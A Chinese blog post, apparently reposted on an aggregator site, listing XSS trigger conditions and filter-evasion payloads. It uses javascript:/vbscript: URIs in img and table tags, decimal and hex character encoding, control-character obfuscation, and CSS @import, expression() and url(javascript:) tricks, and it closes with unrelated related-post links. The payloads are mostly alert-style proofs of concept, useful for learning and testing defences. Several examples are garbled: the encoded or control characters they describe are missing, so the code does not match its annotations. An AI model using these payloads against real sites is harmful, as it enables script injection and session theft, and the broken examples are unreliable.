zoukankan      html  css  js  c++  java
  • XSS代码触发条件,插入XSS代码的常用方法

    1.脚本插入

    (1)插入javascript和vbscript正常字符。

    例1:<img src=”javascript:alert(/xss/)”>

    例2:<table background=”javascript:alert(/xss/)”></table>’/在表格中插入脚本

    例3:<img src=”vbscript:msgbox(“a”)”>

    (2)转换字符类型。将javascript或vbscript中的任一个或全部字符转换为十进制或十六进制字符

    例1:<img src=”javascript:alert(/xss/)”> ‘/将j字符转为十进制字符j 。

    例2:<img src=”javascript:alert(/xss/)”> ‘/将j字符转为十六进制字符j 。

    (3)插入混淆字符。在系统控制字符中,除了头部的&#00(null)和尾部的 (del)外,其他31个字符均可作为混淆字符,比如 、 等字符都可插入到

    javascript或vbscript的头部,其中Tab符 、换行符、回车符还可以插入到代码中任意地方。

    例1:<img src=” javascript:alert(/a/)”> ‘/插入到代码头部,其中 可写成 ,效果一样

    例2:<img src=”java scr ipt:alert(/a/)”> ‘/插入到代码中任意位置,其中 可写成

    例3:<IMG SRC=”jav ascript:alert(‘XSS’)”> ‘/ 是回车符的16进制形式

    例4:<IMG SRC=”jav ascript:alert(‘XSS’)”> ‘/ 是换行符的16进制形式

    2.样式表

    (1)利用CSS代码@import、expression触发XSS漏洞。

    例1:@import “http://web/xss.css”; ‘导入外部带有XSS代码的CSS样式表。

    例2:@import’javascript:alert(“xss”)’; ‘调用javascript脚本触发漏洞

    例3:body{xss:expression(alert(‘xss’))} ‘在内部样式表中加入expression事件

    例4:<img style=”xss:expression(alert(“xss”))”>’在内嵌样式表中加入expression事件

    (2)在CSS代码中加入javascript和vbscript脚本

    例1:body{background-image:url(javascript:alert(“xss”))}

    例2:body{background-image:url(vbscript:msgbox(“xss”))}

    (3)转换字符类型,以十六进制字符替换其中或全部的字符:

    例1:@069mport:url(web/1.css);’//将其中的i转为069

    例2:body{xss:065xpression(alert(‘xss’))}’//将e转换为065

    例3:body{background-image:07507206c…}’将url全转为16进制

    (4)插入混淆字符,在css中,/**/是注释字符,除了/**/外,字符””和结束符”″也是被忽略的,可以用来混淆字符。

    例1:@import’javasc ipt:alert(“xss”)’;

    例2:@im0p00o0000000r00000t”url”;

  • 相关阅读:
    解决多个window.onload冲突问题
    asp.net中img底部出现空白解決辦法
    学习WF起步
    ASP.NET后台注册javascript脚本方法
    WCF、Net remoting、Web service概念及区别
    WCF问答 WCF 与Web Service的区别
    C++深度探索系列:智能指针(Smart Pointer) [一] (转)
    ofstream和ifstream(详细2)转
    全面掌握const、volatile和mutable关键字(转)
    #define用法 收藏
  • 原文地址:https://www.cnblogs.com/52php/p/5659867.html
Copyright © 2011-2022 走看看